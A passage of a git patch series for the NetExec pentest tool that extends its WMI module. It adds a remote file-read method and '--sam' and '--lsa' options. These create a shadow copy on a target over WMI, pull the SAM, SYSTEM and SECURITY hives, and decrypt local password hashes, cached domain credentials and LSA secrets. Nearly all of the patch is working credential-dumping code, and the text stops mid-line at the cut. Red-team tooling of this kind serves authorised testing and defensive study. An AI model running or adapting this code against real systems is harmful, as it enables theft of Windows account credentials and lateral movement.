From a819614fc25cab3bed963bb5a52fbcc378a43800 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 17:08:11 +0200 Subject: [PATCH 01/20] add get_file --- nxc/protocols/wmi.py | 59 ++++++++++++++++++++++++++++++++- nxc/protocols/wmi/proto_args.py | 4 +++ 2 files changed, 62 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index c5e5af0dea..aa353b4f49 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,4 +1,5 @@ import os +import struct from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge @@ -14,7 +15,7 @@ from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login +from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) @@ -365,6 +366,62 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True + def read_file(self, remote_path): + escaped_path = remote_path.replace("\\","\\\\") + + # Load the Namespace + try: + powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + logging.debug(f"Cannot load WMI Namespace {namespace_name}: {e}") + return None + + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{remote_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) + except DCERPCSessionError as e: + if e.error_code == 0x80041002: + logging.debug(f"Cannot find {fullpath} file") + return None + + obj = iWbemClassObject.getProperties() + + file_data = None + for prop_name, prop_value in obj.items(): + if prop_name == "FileData": + file_data = prop_value["value"] + break + + if len(file_data) < 4: + return None + + # Unpack it + file_length = struct.unpack(">I", bytes(file_data[:4]))[0] + file_content = bytes(file_data[4:4 + file_length]) + + return file_content + + def get_file_single(self, remote_path, download_path): + self.logger.display(f'Copying "{remote_path}" to "{download_path}"') + + if self.args.append_host: + download_path = f"{self.hostname}-{remote_path}" + + file_data = self.read_file(remote_path) + if file_data is None: + self.logger.fail(f'Could not get file "{remote_path}"') + else: + self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + with open(download_path, "wb+") as file: + file.write(file_data) + + @requires_admin + def get_file(self): + for src, dest in self.args.get_file: + self.get_file_single(src, dest) + @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): records = [] diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 936a43c76e..ffb5132a10 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -16,6 +16,10 @@ def proto_args(parser, parents): egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)") + files_group = wmi_parser.add_argument_group("File Operations") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") + cgroup = wmi_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output") From 4711814adb917e536602590ac0f295d42d2efb1c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:00:09 +0200 Subject: [PATCH 02/20] add sam and lsa dump --- nxc/protocols/wmi.py | 155 ++++++++++++++++++++++++++++++-- nxc/protocols/wmi/proto_args.py | 2 + pyproject.toml | 2 +- 3 files changed, 151 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index aa353b4f49..5e85caa352 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -11,6 +11,7 @@ from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache +from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck @@ -367,6 +368,7 @@ def hash_login(self, domain, username, ntlm_hash): return True def read_file(self, remote_path): + self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\","\\\\") # Load the Namespace @@ -374,12 +376,12 @@ def read_file(self, remote_path): powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) self.iWbemLevel1Login.RemRelease() except Exception as e: - logging.debug(f"Cannot load WMI Namespace {namespace_name}: {e}") + self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}") return None # Read the file try: - object_path = f'PS_ModuleFile.InstanceID="{remote_path}"' + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: if e.error_code == 0x80041002: @@ -404,23 +406,162 @@ def read_file(self, remote_path): return file_content def get_file_single(self, remote_path, download_path): - self.logger.display(f'Copying "{remote_path}" to "{download_path}"') if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" file_data = self.read_file(remote_path) if file_data is None: - self.logger.fail(f'Could not get file "{remote_path}"') + return False else: - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + with open(download_path, "wb+") as file: - file.write(file_data) + file.write(file_data) + return True @requires_admin def get_file(self): for src, dest in self.args.get_file: - self.get_file_single(src, dest) + self.logger.display(f'Copying "{src}" to "{dest}"') + if self.get_file_single(src, dest): + self.logger.success(f'File "{src}" was downloaded to "{dest}"') + else: + self.logger.fail(f'Could not get file "{src}"') + + @requires_admin + def sam(self): + output_filename = self.output_file_template.format(output_folder="sam") + + # Get the Namespace + try: + cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.fail("Could not dump SAM") + self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") + return + + # Creating Shadow Volumes + try: + win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + self.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + shadow_id = result.ShadowID + self.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.logger.fail("Cannot create ShadowCopy") + self.logger.debug(e) + return + + # Finding it on disk + iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") + + # Get the SAM hive + sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" + sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") + if sam_hive_recovered: + self.logger.debug("Got SAM hive") + + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.logger.debug("Got SYSTEM hive") + + # Delete the ShadowCopy + wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' + self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") + ret = cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") + else: + self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") + + if not (sam_hive_recovered and system_hive_recovered): + self.logger.fail("Could not get hives") + return + + local_operations = LocalOperations(f"{output_filename}.system") + boot_key = local_operations.getBootKey() + SAM = SAMHashes( + f"{output_filename}.sam", + boot_key, + isRemote=None, + perSecretCallback=lambda secret: self.logger.highlight(secret), + ) + SAM.dump() + SAM.export(output_filename) + + @requires_admin + def lsa(self): + output_filename = self.output_file_template.format(output_folder="lsa") + + # Get the Namespace + try: + cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.fail("Could not dump LSA") + self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") + return + + # Creating Shadow Volumes + try: + win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + self.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + shadow_id = result.ShadowID + self.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.logger.fail("Cannot create ShadowCopy") + self.logger.debug(e) + return + + # Finding it on disk + iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") + + # Get the SECURITY hive + security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" + security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") + if security_hive_recovered: + self.logger.debug("Got SECURITY hive") + + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.logger.debug("Got SYSTEM hive") + + # Delete the ShadowCopy + wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' + self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") + ret = cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") + else: + self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") + + if not (security_hive_recovered and system_hive_recovered): + self.logger.fail("Could not get hives") + return + + local_operations = LocalOperations(f"{output_filename}.system") + boot_key = local_operations.getBootKey() + LSA = LSASecrets( + f"{output_filename}.security", + boot_key, + None, + isRemote=None, + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + ) + LSA.dumpCachedHashes() + LSA.dumpSecrets() @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index ffb5132a10..1d154bf4d5 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -11,6 +11,8 @@ def proto_args(parser, parents): cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") + cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") diff --git a/pyproject.toml b/pyproject.toml index e1361ab910..c2a207ed00 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", - "impacket @ git+https://github.com/fortra/impacket", + "impacket @ git+https://github.com/Pennyw0rth/impacket#wmi_update", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From ab4a44cf4dd0643377658a52b8958db777cde627 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:00:58 +0200 Subject: [PATCH 03/20] update poetry lock --- poetry.lock | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/poetry.lock b/poetry.lock index bb5c167e0a..66d063331f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1095,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260810.134619.243d64a6" +version = "0.14.0.dev0+20260826.175120.d480b3e5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1117,9 +1117,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket" -reference = "HEAD" -resolved_reference = "243d64a67599e24a1c5dd7eb3ff8667d2d5bc2fc" +url = "https://github.com/Pennyw0rth/impacket" +reference = "wmi_update" +resolved_reference = "d480b3e52c2de68c8835131c76709cf44867119f" [[package]] name = "iniconfig" @@ -2953,4 +2953,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f" +content-hash = "c2b865eafd644e9fda7d043fe4b53ea5e71ca8e4dafa1f4c91c27ee74a1de155" From b6f20e40b99eba70d2ff27209737644c02bce73c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:04:11 +0200 Subject: [PATCH 04/20] ruff --- nxc/protocols/wmi.py | 40 +++++++++++++++++++--------------------- 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 5e85caa352..39ceb462d6 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -369,8 +369,8 @@ def hash_login(self, domain, username, ntlm_hash): def read_file(self, remote_path): self.logger.debug(f"Try reading file {remote_path}") - escaped_path = remote_path.replace("\\","\\\\") - + escaped_path = remote_path.replace("\\", "\\\\") + # Load the Namespace try: powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) @@ -380,13 +380,13 @@ def read_file(self, remote_path): return None # Read the file - try: + try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: - if e.error_code == 0x80041002: - logging.debug(f"Cannot find {fullpath} file") - return None + if e.error_code == 0x80041002: + self.logger.debug(f"Cannot find {remote_path} file") + return None obj = iWbemClassObject.getProperties() @@ -395,17 +395,15 @@ def read_file(self, remote_path): if prop_name == "FileData": file_data = prop_value["value"] break - + if len(file_data) < 4: return None - + # Unpack it file_length = struct.unpack(">I", bytes(file_data[:4]))[0] - file_content = bytes(file_data[4:4 + file_length]) - - return file_content + return bytes(file_data[4:4 + file_length]) - def get_file_single(self, remote_path, download_path): + def get_file_single(self, remote_path, download_path): if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" @@ -414,7 +412,7 @@ def get_file_single(self, remote_path, download_path): if file_data is None: return False else: - + with open(download_path, "wb+") as file: file.write(file_data) return True @@ -443,7 +441,7 @@ def sam(self): # Creating Shadow Volumes try: - win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") self.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") shadow_id = result.ShadowID @@ -459,18 +457,18 @@ def sam(self): props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - + # Get the SAM hive sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") if sam_hive_recovered: self.logger.debug("Got SAM hive") - + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.logger.debug("Got SYSTEM hive") - + # Delete the ShadowCopy wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") @@ -510,7 +508,7 @@ def lsa(self): # Creating Shadow Volumes try: - win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") self.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") shadow_id = result.ShadowID @@ -526,18 +524,18 @@ def lsa(self): props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - + # Get the SECURITY hive security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") if security_hive_recovered: self.logger.debug("Got SECURITY hive") - + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.logger.debug("Got SYSTEM hive") - + # Delete the ShadowCopy wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") From ee9f59e5138155911b9d93af4a173f44a9ab34be Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 10:45:24 +0200 Subject: [PATCH 05/20] refacto namespace loading --- nxc/protocols/wmi.py | 55 +++++++++++++++++++++++++------------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 39ceb462d6..0827194998 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -16,7 +16,7 @@ from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError +from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) @@ -50,6 +50,8 @@ def __init__(self, args, db, host): self.iWbemLevel1Login = None self.dcom_conn = None + self.namespaces = {} + connection.__init__(self, args, db, host) def proto_logger(self): @@ -175,8 +177,7 @@ def check_if_admin(self): else: try: self.iWbemLevel1Login = IWbemLevel1Login(iInterface) - _ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() + self.get_namespace("//./root/cimv2") except Exception as e: if "access_denied" not in str(e).lower(): self.logger.fail(str(e)) @@ -367,16 +368,13 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path): + def read_file(self, remote_path) -> "None | bytes": self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") # Load the Namespace - try: - powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: - self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}") + powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3") + if powershellv3_namespace is None: return None # Read the file @@ -431,13 +429,9 @@ def sam(self): output_filename = self.output_file_template.format(output_folder="sam") # Get the Namespace - try: - cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: + cimv2_namespace = self.get_namespace("//./root/cimv2") + if cimv2_namespace is None: self.logger.fail("Could not dump SAM") - self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") - return # Creating Shadow Volumes try: @@ -490,6 +484,7 @@ def sam(self): isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) + self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(output_filename) @@ -498,13 +493,9 @@ def lsa(self): output_filename = self.output_file_template.format(output_folder="lsa") # Get the Namespace - try: - cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.iWbemLevel1Login.RemRelease() - except Exception as e: - self.logger.fail("Could not dump LSA") - self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") - return + cimv2_namespace = self.get_namespace("//./root/cimv2") + if cimv2_namespace is None: + self.logger.fail("Could not dump SAM") # Creating Shadow Volumes try: @@ -558,6 +549,7 @@ def lsa(self): isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) + self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.dumpSecrets() @@ -571,8 +563,7 @@ def wmi_query(self, wql=None, namespace=None, callback_func=None): namespace = self.args.wmi_namespace try: - iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) - self.iWbemLevel1Login.RemRelease() + iWbemServices = self.get_namespace(namespace) iEnumWbemClassObject = iWbemServices.ExecQuery(wql) except Exception as e: self.logger.debug(str(e)) @@ -680,3 +671,19 @@ def execute_psh(self, command=None, get_output=False): return output else: return output + + def get_namespace(self, namespace:str) -> IWbemServices: + """ + Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache + """ + if namespace in self.namespaces: + return self.namespaces[namespace] + self.logger.debug(f"Getting namespace {namespace}") + try: + iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}") + return None + self.namespaces[namespace] = iWbemServices + return self.namespaces[namespace] From 3c52ecb40e29b82f5a599a25ca58dff72a25f943 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 11:48:08 +0200 Subject: [PATCH 06/20] create wmi RemoteOperation class --- nxc/protocols/wmi.py | 117 +++++++-------------------------- nxc/protocols/wmi/remoteops.py | 80 ++++++++++++++++++++++ 2 files changed, 103 insertions(+), 94 deletions(-) create mode 100644 nxc/protocols/wmi/remoteops.py diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 0827194998..df98f076fc 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -7,6 +7,7 @@ from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter from nxc.protocols.wmi import wmiexec, wmiexec_event +from nxc.protocols.wmi.remoteops import RemoteOperations from impacket import ntlm from impacket.uuid import uuidtup_to_bin @@ -49,8 +50,8 @@ def __init__(self, args, db, host): } self.iWbemLevel1Login = None self.dcom_conn = None - self.namespaces = {} + self._remote_ops = None connection.__init__(self, args, db, host) @@ -428,59 +429,20 @@ def get_file(self): def sam(self): output_filename = self.output_file_template.format(output_folder="sam") - # Get the Namespace - cimv2_namespace = self.get_namespace("//./root/cimv2") - if cimv2_namespace is None: - self.logger.fail("Could not dump SAM") - - # Creating Shadow Volumes - try: - win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") - self.logger.debug("Trying to create SS remotely via WMI") - result = win32_shadow_copy.Create("C:\\", "ClientAccessible") - shadow_id = result.ShadowID - self.logger.debug(f"Shadow Copy created at ID {shadow_id}") - except Exception as e: - self.logger.fail("Cannot create ShadowCopy") - self.logger.debug(e) + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + self.logger.fail("Could not get Bootkey") return - # Finding it on disk - iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') - obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] - props = obj.getProperties() - shadow_copy = {k: v["value"] for k, v in props.items()} - self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - # Get the SAM hive - sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" - sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") - if sam_hive_recovered: - self.logger.debug("Got SAM hive") - - system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") - if system_hive_recovered: - self.logger.debug("Got SYSTEM hive") - - # Delete the ShadowCopy - wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' - self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") - ret = cimv2_namespace.DeleteInstance(wmiPath) - if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") - else: - self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") - - if not (sam_hive_recovered and system_hive_recovered): - self.logger.fail("Could not get hives") + sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM" + if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"): + self.logger.fail("Could not get SAM hive") return - local_operations = LocalOperations(f"{output_filename}.system") - boot_key = local_operations.getBootKey() SAM = SAMHashes( f"{output_filename}.sam", - boot_key, + bootkey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) @@ -492,59 +454,20 @@ def sam(self): def lsa(self): output_filename = self.output_file_template.format(output_folder="lsa") - # Get the Namespace - cimv2_namespace = self.get_namespace("//./root/cimv2") - if cimv2_namespace is None: - self.logger.fail("Could not dump SAM") - - # Creating Shadow Volumes - try: - win32_shadow_copy, _ = cimv2_namespace.GetObject("Win32_ShadowCopy") - self.logger.debug("Trying to create SS remotely via WMI") - result = win32_shadow_copy.Create("C:\\", "ClientAccessible") - shadow_id = result.ShadowID - self.logger.debug(f"Shadow Copy created at ID {shadow_id}") - except Exception as e: - self.logger.fail("Cannot create ShadowCopy") - self.logger.debug(e) + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + self.logger.fail("Could not get Bootkey") return - # Finding it on disk - iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') - obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] - props = obj.getProperties() - shadow_copy = {k: v["value"] for k, v in props.items()} - self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") - - # Get the SECURITY hive - security_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SECURITY" - security_hive_recovered = self.get_file_single(security_hive_path, f"{output_filename}.security") - if security_hive_recovered: - self.logger.debug("Got SECURITY hive") - - system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") - if system_hive_recovered: - self.logger.debug("Got SYSTEM hive") - - # Delete the ShadowCopy - wmiPath = f'Win32_ShadowCopy.ID="{shadow_id}"' - self.logger.debug(f"Trying to delete ShadowCopy with ID {shadow_id}") - ret = cimv2_namespace.DeleteInstance(wmiPath) - if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.logger.fail(f"Could not delete ShadowCopy ID {shadow_id}. You will need to delete this by yourself.") - else: - self.logger.debug(f"ShadowCopy with ID {shadow_id} successfully deleted") - - if not (security_hive_recovered and system_hive_recovered): - self.logger.fail("Could not get hives") + # Get the LSA hive + lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY" + if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"): + self.logger.fail("Could not get LSA hive") return - local_operations = LocalOperations(f"{output_filename}.system") - boot_key = local_operations.getBootKey() LSA = LSASecrets( f"{output_filename}.security", - boot_key, + bootkey, None, isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), @@ -687,3 +610,9 @@ def get_namespace(self, namespace:str) -> IWbemServices: return None self.namespaces[namespace] = iWbemServices return 